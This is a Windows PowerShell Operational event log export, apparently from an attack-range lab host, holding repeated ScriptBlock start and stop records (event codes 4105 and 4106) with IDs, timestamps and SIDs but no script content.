Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045112
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045111
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045106
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045105
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045083
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045082
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045081
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045080
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
